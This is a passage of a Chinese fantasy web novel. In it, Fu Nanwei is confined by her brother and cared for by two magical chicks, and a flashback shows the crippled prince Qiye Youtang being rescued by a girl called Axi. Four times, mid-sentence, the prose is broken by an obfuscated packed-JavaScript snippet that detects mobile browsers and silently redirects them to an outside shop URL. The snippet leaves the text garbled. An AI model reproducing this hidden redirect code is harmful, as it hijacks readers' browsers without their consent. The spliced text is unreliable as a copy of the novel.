傅南微没想到他速度如此之快,感叹道:“兄长为何不去剿了贼窝,这可是大功一件。” 傅寒钧脸色霎时一沉:“我不需要你来教我做事。” 傅南微视线斜飞,延向室外。 “你以后不能再见他了!”他补充道。 傅南微微怔,故意问:“见谁?” 傅寒钧转身,背对她。 才进山洞的时候,他分明看见那黑衣人朝她伸出了一只手,下意识的举动最能反应一个人的真实心境,这种真实甚至能让黑衣人连自己儿子掉在外面的胳膊都不管不顾。 虽然那只手在他出现的那一刻慢了半拍,但当时黑衣人看他如看仇敌的目光一点也不像是假的。 况且那人还轻易毁了一个大妖的老巢。 “这段时间你就待在白露轩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497721|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要再出门了。” 他嗓音低沉,带着森森寒意。 傅南微像是知道会是这样的结果,淡淡说了个“好”。 沉默片刻,她问:“兄长可否差人去一趟九嶷山,帮我......” “那石头丢了就丢了吧!”傅寒钧斜倪着她,“这是你不听话的代价。” 傅南微静静坐着,没再说一个字。他不喜欢她舞刀弄枪,也不喜欢她出去乱跑,只要安安静静待在屋里,怎么都好。 出观澜居时她撞见了傅映雪。 从山洞回来就被兄长问话,傅南微已身心俱疲,根本没心思陪她闹,便想着绕道回白露轩。 只是傅映雪身子扭得太快,没多会功夫就扭到了她跟前。左手摇团扇,右手抬块金边玉,脸上笑盈盈。 “四妹妹怎么灰头土脸的?可是病了?还是说又在九嶷山遇见什么妖什么怪了?” “哎呀~”她自说自演,还吓得用团扇挡去了半张脸,“不会又是那蛇妖吧?四妹妹,他不会是缠上你了吧?幸好大哥一回来我就让他赶去救你了,不然,再晚点怕是连孩子都有了。” 傅映雪的话还未说完傅南微的眉眼就已含上怒意,最后的这句话更是让她有了一种买哑药的想法。 但傅映雪昏了头,她始终还是清醒的。 她刚才还在想为何兄长会如此笃定她与蛇妖有不一般的关系,这下明了,都是傅映雪在后面搞的鬼。 “妹妹放心,你和蛇妖的事我只跟大哥说了,其他人呀,是没这个耳福的!” 傅映雪说着说着便笑起来,手上的幅度大了些,直接将一枚镶了金边的玉佩舞到了她眼前。 “哎呀,可不能碰坏了,这是大哥特意从边关带回来的玉佩,产自巫族,听说巫族的贵妇们想要都没有呢。大哥给了我一个,妹妹也有一个吧?可否给我看看?” 傅映雪像模像样地瞅了瞅傅南微的脖子:“咦,你的脖子光光的,是没有吗?不对呀,怎么出去了一趟连那块不离身的破石头都不见了呢?” 傅南微瞪了她一眼:“我出去只是丢了块石头,但若是你出去,丢的就该是人了。” “你……” 不等傅映雪说完,她继续道:“自你回来,傅家从来都是好吃好喝的供着你,你锦衣玉食,吃穿不愁,傅家何曾亏待过你?你娘宠你爱你,甚至可以把她压箱底的老本都给你霍霍。但如果这样都把你养不熟,敢在外面跟人乱嚼舌根,断送兄长的大好前程,把傅家陷于水深火热之中,我第一个不饶你。” 说完,她擦过傅映雪的肩,朝前走去:“我劝你不要犯蠢,还是早些清醒过来为好。” 傅映雪望着那蓝衣离去的背影,紧紧攥着手中玉佩。 “你才蠢,傅家倚靠的又不是你,你凭什么这么跟我说话……还敢撞我?给我等着……” 傅南微眉间仍有一层薄怒,刚才的话是她的真心话不假,但主要还是说给傅寒钧听的。 她们刚才站立的位置离观澜居很近,即便傅寒钧听不到,他那些侍女们也能听到。他那样警觉的一个人怎么会看不出傅映雪的变化? 走在廊檐下,她垂低了眼眸,将自己时前时后的左脚盯了许久,盯着盯着不自觉就笑了。 一个是金玉,一个是银锁,怎么都是她不划算。 11. 第 11 章 白露轩很安静,时近亥时,雷杀和电电应该都睡了。 傅南微轻手轻脚推开房门。 只见,正对房门的桌子上摆满了盘子。 盘子里装着煮过的米饭,拢共九个盘子,整整齐齐,好似被人精心布置过,一排排、一列列,对得分毫不差。连米饭的颜色也是从黑依次退化,到最后一盘才算得上白米饭。 傅南微立马想到了电电,因为他有强迫症。 她的目光至桌上略过,投在对面的屏风上,将房间一分为二的屏风上画着一副春日图,风和日丽,草长莺飞,绿油油的草坪上生长着一棵青绿的梧桐树,树干分出的四条枝干上各有一个鸟窝,由上至下,错落有致。最下还有一根粗壮的枝干,稳稳地垂着两根花藤做成的秋千。 青绿色的梧桐树叶在风中飘飘旋转,开满蓝白小花的秋千一荡又一荡。 而那安放在树上的鸟巢中除了一卷小小的被子,什么也没有。 傅南微的心仿佛被揪了一下,把屋子巡视一圈才发现凳子上有两只金黄的小鸡崽,他们闭着眼睛,相互依偎着,像是睡着了。 傅南微怅然一笑。 她用食指划两下两小只的脑袋,手指一翻将他们捧在手心,抚了抚滑溜溜的羽毛,慢步走至屏风前,手分别放在梧桐树较高的鸟巢旁。霎时,两个鸟巢至底散发出一层层轻柔光雾,暖暖的光雾在画里轻轻流动,流着流着便流出画中,笼罩在两只小鸡崽身上,最后包裹他们并带入画中。 这是风动在屏风上施展的一种神族法术,叫青璃秘境,说是从神族的一个前辈那里学来的。这种法术会有自己的一套保护盾,别人眼中这屏风上只是一副普普通通的画,但对于被保护盾信任的傅南微来说,这不单只是画,这里面有个画中世界,它不仅会动,还有声音。 风雨雷电四兄弟在这里面一住就是六年。 傅南微把两兄弟放回他们的小窝之后又折返回桌边,盯着桌上的九个盘子陷入沉思。她确实有些饿了,累了不想动,她拿了双筷子,在最尾的白米盘子里挑了几筷子。 透过半开的房门,她望着天上的一轮半月,出了神。 有些遗憾,没找到风动和雨来,也没找到灯笼石。 又有些后怕,那蛇妖可能盯上她了! 他动一动手指就能让一只大妖给他下跪,她又如何能是他的对手? 窗外的天光渐渐熄灭,那棵立挺的海棠树还能看出些许轮廓,上面的海棠花都谢了,唯有一枝携了三两粉白花色的细条儿探入窗来,仿佛想让屋里的人再看一看这即将流逝的春色。 可那抹蓝衣坐在桌前,托着下颚,姿势稳定得像一尊玉色雕塑。 清晨的第一缕阳光穿透窗棂,在阴冷的地面铺上一道暖意,也将那抹晦暗的蓝衣照亮。 “娘亲~” 一只金黄的小鸡崽落在蓝衣肩上,小脑袋偏向她:“娘亲去了好久,是遇上什么棘手的事情了吗?” 傅南微下巴一低,摇头道:“没事。” 小鸡崽头一扭,见盘子有被动过的痕迹顿时跳至桌上,边跳脚边扑闪着翅膀:“糟了糟了,天杀的电电,我一个没留神又摆上了。” 雷杀着急地看着她:“这些都是您走那日电电照着我的瞎做的,都三天了,非要摆好了等您回来夸他。” “娘亲,好娘亲,快吐出来~” 雷杀一不留神就跳进了盘子,黏黏的饭粒粘黏在他的两只小爪上,他更生气了,圆圆的眼睛鼓鼓的,把还在熟睡的电电骂了几句就要去屏风里算账。 傅南微将他从盘子里捡起,握在掌心:“没事的。” 雷杀甩甩脑袋:“可是娘亲运气一向不好,会闹肚子的。” 雷杀说的没错,她的确运气不好,早上就跑了三四趟茅厕,等缓过来一些,她也没什么力气了。 见这情况,雷杀忙把电电从屏风里拎出来:“看你干的好事!” 好努力才把盘子摆得如此规整的电电用翅膀擦擦懵懂的大眼睛:“娘亲回来了吗?电电去给娘亲做饭。” “做个屁!” 雷杀一翅膀扇在电电头上:“娘亲闹肚子还不是吃了你那黑不溜秋的鬼东西。” 电电被扇得一激灵,倒是清醒了许多,瞅了桌子一眼才反应过来怎么回事,后悔没听三哥话的他默默垂下头来:“电电知错了~” 与此同时,院外响起敲门声。 “四小姐,今日的汤药给您放这了。” 傅南微在桌前眯坐了一会儿,随后去门外拿食盒,再如往常一样把汤药浇给墙角那盆焉死的山茶花。 “娘亲,那汤是不是有毒?”雷杀突然义正言辞地说道,“可恶,我去锤死他们!” 电电伸长脖子:“我也去。” 傅南微走回房间,按按他们的小脑袋,有气无力道:“听话,饿了就去吃些竹实。” 说完绕过屏风,脱了鞋袜,躺在了床榻上。 雷杀和电电见她虚弱如此,也没了吃东西的心思。 “你还剩几颗萌萌丹?”雷杀突然问电电。 电电张开的嘴巴兀地噎住,埋头想了想,最后弱弱地说:“还有......零颗?” “放屁!你起码还有一颗!”雷杀很确定地昂起头,朝电电伸出一只翅膀:“给我!” 电电低头,眼珠滴溜溜旋转。 “快点给我!” 雷杀眯起眼睛,翅膀尖又朝前进了一寸。 “自己吃完了就找我要,我还想变强了去电他们呢。”在确保雷杀听不见的情况下,电电念念有词地转身,背对他。最后终于鼓足勇气:“不给。” 雷杀听出“不给”的深意,倏地露出“算你还有点用”的表情,脸色一变:“不想挨揍就快点给我!” “不给不给,我就不给。”电电委屈得用翅膀包裹住自己,“你再这样我就喊娘亲了。” 哪知,雷杀柔软的翅膀尖一下子将他的尖嘴壳堪堪拿捏:“有本事你喊啊!” 电电委屈极了,用翅膀推他的同时骤然生智,目光迅速下落至桌面,并在上面虚晃一爪。 “有本事你找啊!” 甜甜的声音里满是愤怒。 雷杀推开他,还真就在房间里找起来。 电电趁机飞回屏风,将一颗棕色的小丸子埋入最下面的鸟巢,而后又飞到了最高处的小窝,嘤嘤地抽泣起来。 雷杀一心想得到萌萌丹,在房间里不落一处地寻找着一切可能是萌萌丹的小颗粒,唯独屏风后的区域不敢踏入。 有了萌萌丹他就可以变成人,变成人就有了更强的力量去对付那些在汤药里动手脚的坏人。 电电趴在自己的小窝里,眼睁睁看着他三哥在房间里摸爬滚打了两个时辰,最后瘪着嘴巴低声作了个评价。 “四肢发达,头脑简单,难怪二哥要我看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497722|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 该找的地方都翻遍了,雷杀累得气喘吁吁也没意识到哪里有问题,那颗电电一脚踢走的“萌萌丹”就像凭空消失了一般。 最终他泄了气,放弃了,去柜子里吃了些竹实来补充体力。 电电怕这憨三哥又去找,便让他回窝里休息休息。 雷杀瞪了他一眼,没听他的话,反是飞过屏风,落在了榻上。他慢慢走到傅南微枕头边,用翅膀把自己包裹,并闭上了眼睛。 电电见状,“唰”一下冲出屏风,也落在枕头边。 “我也要挨着娘亲睡~” 白露轩上空的月亮又滑落了三次。 入夜,一束月光洒落在窗前那枝细条儿上头,将上面唯剩的两朵海棠花照得清亮。 夜深时分,一阵疾风穿窗而入,吹得三两瓣海棠花别了枝头,飘飘下旋。 而窗户内侧,蓦地多出两道人影。 淡淡的月光中,隐约能看出那影子一高一低,一黑一绿。 春春仰头望着身边的黑衣:“爹爹,我们这样进来娘亲会生气吗?” 祁夜有棠拍拍他的肩膀:“去吧,这次她不会知道。” 春春小拳头一紧,身体霍然燃起绿光,幽幽绿光照亮了他周身一小片区域,也将手中的一个精美花环照亮。细密绿条编织成的花环上开着各式各样的小花朵,就如挂满星星的夜空一样美丽。 他将花环抱在怀中,脚步轻盈地绕过屏风,来到床前。 傅南微侧躺着,微蹙着眉,那一排纤长的睫毛在绿色光影下投出一道漂亮的扇弧。 春春将盛满星星的花环放在她的手上:“娘亲,春春来看您了。” “能在这个春天见到娘亲,春春真的很开心,即便在一起的机会并不多,春春也知足了。” “春春之前也在怀疑娘亲是不是不要我们了,这么多年娘亲为什么都不来找我们?” “现在,春春知道了,娘亲只是不记得我们了。” “不记得也没关系,春春能见着娘亲就好。” 一只温热的大手覆上春春的肩膀,春春仰头,盘旋在眼里的泪水“啪嗒”落下:“爹爹~” 这时,枕头边上酣睡的雷杀突然翻了个身。 “那是什么?” 春春这时才发现枕头边的两团毛球会动。 雷杀撑起沉沉的眼皮,斜斜瞅了一眼春春,顷刻又闭上:“行了别哭了,不抢你东西就是了~” 说完便又不动了。 春春身上的绿光化成了一个个芝麻大小的气泡。 他转身抱着黑衣人恸哭:“爹爹,娘亲有其他小鸟了!” 祁夜有棠深深瞅了一眼枕头边的两个小团子,幽暗的眼眸中顷刻覆上一层厉色。 空中的绿色小气泡在一点一点消散,春春很快调整过来,他擦干眼泪,抬起头:“爹爹,明年的春天,娘亲会想起春春吗?” 祁夜有棠的视线挪向榻上人的脸,再落向他,缓声道:“会的~” 春春咬着嘴巴,再次看向傅南微:“那春春就放心了。” 几乎是在一息之间,春春的身体化作万千小气泡,像会发光的萤火虫,它们在空中飞舞徘徊,萤萤绿光填了满屋。 “春春走了,爹爹要照顾好自己!” 祁夜有棠盯着指间流散而去的萤光,眼神一瞬茫然。 “黎明破晓,向死而生,都忘了吗?” 12. 第 12 章 杂草丛生的灌木丛中,一少年躺在纵横交错的荆棘条上,粘着血污的发丝凌乱地黏在脸上,不见神情,暴露在外的手脚筋脉已被残忍挑断,其上尽是些深可见骨的刀伤。为血色浸透的破旧布衣已无法完全遮盖他的身躯,像是被人刚从带泥的血水中捞上来的,他连动一下都非常吃力。 “太子殿下这是怎么了?起来再打啊!” 一名头戴红色抹额的男子走过去,踩在少年胸膛上,大笑道:“哦,对了,如今什昉国都亡了,你算哪门子太子?也就是这身骨头是个香饽饽。” 他身后的黑衣人略显担忧:“如今什昉太子身负奇骨的消息已不是秘密,人妖神三族怕是都在找他,我们还是早些带他回去为妙,先让大巫圣取了,你才算为巫族立了大功。” 那人对其一笑,转头便抓住少年的肩膀,将其轻而易举地拖起来,骂道:“什么狗屁太子,废物一个!若不是答应了把你的骨头给他们,我还真想把你挂在城墙上,让那些个尊你敬你爱你的花痴们都好好看看你现在的鬼样子。” “够了!”黑衣人喝道,“我知道你嫉妒他,但也应当发泄够了,他是我们大巫圣要的人,若是死了你的小命可赔不起!” 头戴抹额的男子将少年的肩膀抓得更紧了,好似要将指甲嵌入肩胛骨里,直到听见少年清晰的惨叫才肯松开。他盯着自己因太过用力而红透的手,心满意足地笑道:“我听巫长的便是。” 丈高的灌木丛中,祁夜有棠两只胳膊被架着,膝盖贴地,呼吸声随他们行走的速度越来越弱。 偶尔有绿叶从脸上扫过,他还能闻到春天的芳草香,甜甜的,但后来这种甜消失,变得涩,甚至微微有些苦味。 他之前鲜少接触到这种味道,连生病吃的药都是甜的。他觉得苦味涩人,难闻又难吃,便让宫人们排除了一切跟苦沾边的东西。 但有一天,他的母后跟他讲了一种花,微苦,花白萼紫,花谢后会结出半透明的灯笼状果囊,若是入夜,灯笼果囊还会发出微弱的幽蓝荧光。 母后说这种花名为鬼灯笼,除了有镇痛解毒的医用之效,它还是游荡魂魄的栖息之地。最重要的是,她年少时曾经遇到过一个名为鬼灯笼的女子,生来便被当做皇后培养的她从未见过那般自在潇洒的女子,把万水千山看遍,把四境天下走遍,爱打抱不平,为匡扶正义,是女中之大侠者。 但这位“大侠”却给自己取了个与自身严重不符的名字,鬼灯笼,也许遇见她的很多人都想不明白。 母后每每提到鬼灯笼,嘴角都会不自觉地扬起。他也很好奇究竟是一名怎样的女子能让时刻保持国母威仪的母后也能松缓一刻。后来他开始憧憬一种潇洒的活法,脱下太子的外衣,去弹琴,去跳舞,到最后甚至能慢慢忍下苦涩。 也是如此,现下闻到的这种苦也便不觉得是苦了,反而更为安心。 若他的游魂能归于鬼灯笼,也算得一种成全! 想着想着他突然笑了。 与此同时前方响起一阵轰隆地裂声,架着他胳膊的二人急停脚步,四处张望:“何人作祟?出来!” 二人身前的草地被一道剑气撕开一个深深的口子,随即便有一把冰晶蓝剑从天而降,如惊雷蹿地般砸在他们跟前。 “杂碎。” 声音至高空落下,微弱地爬进少年耳中。 祁夜有棠眼前猛然跳出一片白光,模糊的视线中走近一名蓝衣少女,蓝色深邃纯洁澄澈,其上像是还罩了一层轻薄电衣,她整个人都在发光。 好像……月亮! 淡淡的月华中,他好似看见了一团灯笼状的幽蓝荧光。 求生的本能让他将已无知觉的膝盖使劲往后顶,以此借力撑起胸膛,以极缓的速度向那道光源蠕动。 他拼尽全力往前爬,不顾一切地往前爬,好似离她近一寸,活下来的希望就会多一分。 待那蓝衣变得清晰时,他用手肘带动小臂,将一只颤巍巍的手伸向少女的一片裙摆。 但尚未触及便顿在了空中,划拉了一小段弧形后终于落在了一只深蓝色的绣花鞋上。 “救……我……” 声音已近嘶哑,怕对方听不见,他蓄足了全身的力量再说了一次。 他微仰着头,在狭窄的视野中只能看见少女随风而动的光亮衣裙。 那衣裙在微风中飘了许久,久得他再也无法支撑仰起的脑袋,垂在了地上。 这下视野更窄了,他只能看见那双被血污染过的绣花鞋鞋面。 实在没力气了,他合上疲累的眼皮,再撑开,竟是愣了许久才反应过来视野中的绣花鞋不见了。 她走了! 两扇眼门终于被重重地合上,将光与黑暗的界限划了个清楚。 *** 醒来时也不知过了多久了,祁夜有棠躺在一张不大不小的床榻上,旁边有一张与床齐平的凳子,上面放着一只茶壶和一个杯子。 确实渴了,可他发现自己的手怎么也动不了,适才想起,他的手脚经脉已被挑断。 他闭闭眼,身体不再动弹,就这样安静地躺着,两眼盯着屋顶板,眼神空空。 “卷兄,来喝点?” “不了不了,我还得伺候那倒霉蛋呢。” 不远处吱呀一声,有人推门而入。 “哟,醒了,不错嘛,比预料的早。” 视线里突兀地蹦出一张垂眉耷眼的脸:“醒了就起来吧,该换药了!” 声音粗鲁,带着嫌弃。 祁夜有棠依旧躺着,动也不动。 “诶,我说你听不懂话吗?”对方急了,伸出双手,朝他撩开袖子,叉腰,把床上的人瞪了半天终是叹了口气,将人好好给抱起来,用枕头靠着,哐哐两下拆了身上的白绷带。 “真是倒了血霉了,碰上你们两个冤家!我那日就不该凑你这个热闹,若早早跑了,她一定抓不住我……我也不用来这伺候你……” 说着他又叹了口气,把瓶子里的药膏往人伤口上随意一抹,将绷带一套,打结完事。 “好了,你好好休息吧!” “有事无事都不要叫我。” 他说完拔腿就走,一刻都不愿多留。 祁夜有棠像是感觉不到疼,审视着自己这双不听使唤的手,在床榻上枯坐了一夜。 翌日午时,那个人又来了,推了把轮椅进来。 “她说这个能让你行动方便些。” 祁夜有棠斜斜瞟了一眼,视线渐渐落到了地上。 “饿了吧?我给你带了好吃的。” 祁夜有棠不为所动。 那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497723|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑嘻嘻地打开轮椅上的食盒,将上头冒出的饭菜香气朝他扇了扇:“超级无敌十全大补汤,我跑了好几家酒楼,给个面子啦~” 这人今日变得客气甚至恭维了许多。 祁夜有棠瞅了他一眼:“是你救了我?” 那人忽立正身姿:“不不不,小的卷不动,受你恩人所托,特意来照顾你的。” “谁人所托?” 卷不动把轮椅推至床边:“这个嘛……其实我也不知道她是谁,一个小姑娘,路上遇见的,身手挺厉害,打得欺负你的那两个人毫无还手之力。” 祁夜有棠率先想到那名蓝衣少女,原来她听见了自己的求救。 “她……在哪?” 卷不动漫不经心地走到窗户前,双手推开,下巴往对面送了送:“昂,就住那儿。” 祁夜有棠的视线略过窗户,直达对面。 这是一间临街客栈,他的位置刚好能看见对面阁楼上的两扇窗。 对面的窗子正闭着,唯有窗外的一束红色海棠花开在和煦的阳光下。 “这姑娘是个怪人,神神秘秘的,也不知道在干些什么……性子淡淡的,脾气还臭。你说她穷吧,她能随手甩我一片金叶子。说她富吧,春日的天连鞋子都没一双。搞不懂,真搞不懂……” 卷不动的步子在他的声音里远去,留得屋里的人呆呆地盯着对面。 那束海棠,很新鲜。 次日一早,卷不动又来了。 他瞅了瞅轮椅上未动分毫的食盒,凳子上依旧整洁的茶水,默默垂下头:“抱歉,之前是我考虑不周,以后你起床、如厕什么的只管唤我便是,我就在外面,随叫随到!” 这诚心诚意的话不像是他会说的,祁夜有棠看了他的脸,像是被什么东西拍过,红得像熟透的桃子。 他忽然就明白了是怎么回事。 卷不动将昨日的食盒放到一边,提上新的食盒,礼貌地站在床前,眼咕噜转一圈,低声询问:“那......我喂你?” 祁夜有棠没说话,只将目光移向了正对面的窗户。 卷不动立时反应过来,咚咚两下跑去窗户前,将两扇窗门推开。 窗外晴空如洗,对面的窗子依旧紧闭,那窗外堆叠的瓦砾上已不是海棠,而是一排洁白的玉兰。 “是......想出去?”卷不动轻声问道。 祁夜有棠缓缓收回视线。 “放心,我一定把轮椅推得稳稳的。” “不了。”祁夜有棠看着轮椅上的食盒,“我饿了。” 一听饿了,卷不动一脸欣慰,喃喃道:“这小祖宗终于肯吃饭了!” 饭后,卷不动让店小二仔细打扫了房间,给换了床被褥,凳上的茶水换成了一炉零陵香。 往后的几日,窗户都是半开的状态。 祁夜有棠醒来的第一件事便是看对面的窗户。 像是不曾有人居住,每日那两扇窗门都紧掩着,但那窗外换了一次又一次的花告诉他,那间屋子的主人只是不愿让人窥探罢了。 迎春花、山茶花、樱花、杏花、桃花,还有垂满窗沿的紫藤,整整过去了六日,他一次都没能等到送花人。 卷不动似看穿了他的心思,抱手笑盈盈地走进来:“别想了,我带你去见她。” 13. 第 13 章 卷不动将祁夜有棠带到了一个叫天鹅湖的地方。 这片湖很开阔,这面岸边环着刚抽芽的翠柳,对面一眼望不见尽头。 祁夜有棠端端坐在轮椅上,空气中时而飘来的花气清香竟让他一贯淡然的表情有些不自然。 “看,在那儿。” 卷不动给他指着离岸近些的湖面:“她好像在吹笛子。” 祁夜有棠抬眼望过去,只见那湖面上飘着一叶轻舟,其上立着一名蓝衣少女,少女手持一支月白笛,轻抵在唇边。 “怎么听不见?咋们过去听!” 卷不动抡动双腿,将轮椅铆劲儿地推到了柳树下方。 比惊慌来得更快的是从湖中飘来的笛声。 笛声轻袅,清脆悠扬。 是骨笛。 也是离得近了才看清,少女周身还环了一圈青绿色的柳叶,那些柳叶有序地排列在空中,随着笛声的节奏一起一伏,仿佛是在绕着舟上的少女跳舞。 像一幅会动的画,美得让人不忍打扰。 “嘿!” 卷不动突然大叫一声:“姑娘,我们来看你了。” 祁夜有棠眸色倏忽一沉。 湖面的笛声骤然消失,那些柳叶朝运行的方向蓦地飞旋而出,多数刺入水中,有几叶则砸在了来人身上。 卷不动摸着被打疼的脸,身子默默扭转至轮椅后边,缩起肩膀,没敢说话。 祁夜有棠故作镇定地看着小舟上那眉间微蹙的少女并起食指中指,驱动小舟,向他们所在的柳岸迅速驶来。 他的视线从层层叠叠的水波纹挪到了落于自己腰间的一片柳叶上。 柳树下的少女没有从小舟上下来,立了许久也没说话,只是眼神在转向卷不动的那一刻变得凌厉。 卷不动抓着轮椅的手突然指向身前人的头,鼓起熊胆:“是他……是他想见你。” 闻言,祁夜有棠不禁咳了一声,苍白的脸上意外有了丝血色。 但不得不承认,他确实想见她。 他缓缓抬眸,一张冷艳绝俗的脸闯入眼帘,他喘一口气,问道:“姑娘为何救我?” 少女的目光落回他的脸上,须臾又落到他腰间的那片柳叶上,纵使眸含薄怒也答了他的话:“九十九,你是第九十九个。” 祁夜有棠不太能理解:“什么?” “人也见了,你该回去了!”少女挪开目光,盯着卷不动,“去李大娘家,不用回镇上。” 卷不动不敢看她,像是做坏事被人当场抓了现行,吞吞吐吐道:“听……姑娘您的便是。” 这些日他确实在偷偷观察这位奇怪的姑娘,但没想到自己早就暴露了。 据他所知,李大娘就住在这附近,是个朴实的乡下妇人,不久前丈夫儿子到外地做生意去了,如今家中就她一人。而眼前这位姑娘就住在李大娘家,不过每日都会来到镇上,到一个叫缘来客栈的地方看望一个人,还会在这个人所住房间的对面放上她从好几个山头采摘回来的鲜花。 “敢问姑娘芳名。” 走之前,祁夜有棠问了这句话。 少女回看他,毫不吝啬道:“鬼灯笼。” “鬼……灯笼?” 祁夜有棠双眸惊震,天底下竟有这么巧的事? 见他神色,少女颇为满意,嘴角微微上翘。 “阿兮姑娘~” 不远处跑来一名身穿襜衣的妇人,气喘吁吁地把一双蓝色绣花鞋递给蓝衣少女:“阿兮姑娘啊,你怎么又忘穿鞋了,虽说天气暖和了,但女儿家还是得注意些,受了凉可对身体不好。” 少女侧过头,单单接下对方递来的鞋子。 谁曾想这位名叫阿兮的姑娘刚才还在给人说自己叫鬼灯笼呢。 卷不动乐得抿紧了嘴巴,轮椅上的少年也默默低下了头,这才发现那冷傲的姑娘掩在裙下若隐若现的脚趾头。 阿兮介绍完妇人就是李大娘后又驱舟去了湖心。 祁夜有棠望着那介远去的蓝衣,方才他差一点就相信她是鬼灯笼了。 鬼灯笼是母后年少时遇见的年貌二十来岁的侠女,而眼前的分明还是个十几岁的少女模样。即便鬼灯笼是神族或者妖族,十年换一岁,也和她的年岁不符。 去李家的路上,李大娘把祁夜有棠细细瞅了半天,最后终于把心声吐了出来:“你是阿兮姑娘的心上人吧?” 听了这话,祁夜有棠硬是呆了一瞬,若手是好的,他想他一定会挥着反复说不是。 但此刻,他只是眨了眨眼,没有说话。反是推轮椅的卷不动阴阳怪气地来了句:“大娘你这不偏心嘛,姿色能比好手好脚的强?” 李大娘眼神明亮如炬:“小伙子,你不懂,男人的姿色就是女人的第二张脸。你也莫怪大娘,若大娘再年轻个二十来岁,也选他。” “大娘你……” 卷不动只觉心累,仿佛轮椅都沉重了许多。 李大娘干脆一把接过来,轻松推着往前走:“况且阿兮姑娘不是说他的手脚能治好吗,那些事以后他也能做!” “能治好?” 祁夜有棠好似只听见了这三个字,瞳眸蓦地有了亮光。 李大娘俯身,歪头瞧他:“对呀,阿兮姑娘亲口对我说的,还说过两日你就会来我家,让我把屋收拾一下,没想到你们这么快就来了。” 甩着草杆的卷不动突然大哼一声:“还不是得靠我!” 祁夜有棠盯着自己苍白的手,嘴角有了月牙的弧形。 这也许是他这些日子以来听到的最好的消息了。 绕过一排翠竹,三人便到了李家。这是一个散落在一条蜿蜒溪流边的小村落,房屋与房屋之间隔得都比较远。李大娘家在临水的位置,屋子不大,外围用竹条编排在一起的木棍围成了一个较大的院子,入门的柴扉上有绿藤倾泻,上面还开着红紫色小碎花。 正屋门前用平坦的石头契着一个台子,上台的地方有三层台阶。李大娘让卷不动搭手,一起将轮椅抬进了早已打扫好的房间。 “这间屋子是我儿住的,房间不大,你俩就挤一下。” 寄人篱下,祁夜有棠知道现在的境遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497724|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如之前当太子的时候了,挑剔不得。但卷不动没想跟他挤,他早已看好了堂屋的一块地,站门口歪头问:“大娘,这屋太小,我睡那成不?” 李大娘未作思考,直接就点了头,接着指了指对门:“那间住的是阿兮姑娘,你们可不许叨扰她,听见没?” 祁夜有棠点点头。 “谁没事儿去惹她啊!”卷不动转身就去了堂屋。 “对了,小伙子,怎么称呼?”李大娘看着祁夜有棠。 “我叫卷不动。”堂屋里传来高高的一声。 “又没问你。”李大娘嗓门也大。 祁夜有棠思考了须臾,答道:“辞镜,辞别的辞,镜……” “吃惊?”李大娘虽是疑惑但脸上的笑从未消失,“……是个好名字!” 随即,堂屋传出一声大笑。 “好哈,大娘记住了。大娘去做饭了,有事就叫大娘啊,不要客气。” 祁夜有棠礼貌点头。 没多久,卷不动就在堂屋的躺椅上打起了呼噜,祁夜有棠用手臂把轮子推至几根木条拼成的窗户边,望着那条向东面流淌而去的小河,仔细回忆着刚才发生的一切。 夕阳落下,阿兮才从湖边回来,手上还捧着一束小野花。 祁夜有棠忙将视线从小河边拉回。 可未如他所料,少女没有来他所在的房间,而是直接去了对面的屋子,并关了门。 他得体地笑了一下,过后又松了口气。 晚间吃饭时也没见阿兮出来,是李大娘将饭送进去的。李大娘出来就给卷不动说让他吃自己的,自己端了碗皮蛋瘦肉粥到这边房间来,将粥一勺一勺地送入他口中,他也从李大娘口中得知了许多话。 阿兮是十几日前来的这里,说要借宿,给了李大娘一片金叶子当房钱,大娘哪里见过金叶子,也找不下就只能好身伺候着。 前几日阿兮经常去河边洗她脚上那双带血的绣花鞋,大娘看她鞋也没脱就直接用清水反复润着鞋面便赶紧去阻止,抢着要洗鞋。可阿兮死活不让,又脱了鞋固执地洗了两天,最后实在洗不干净才让大娘帮的忙。 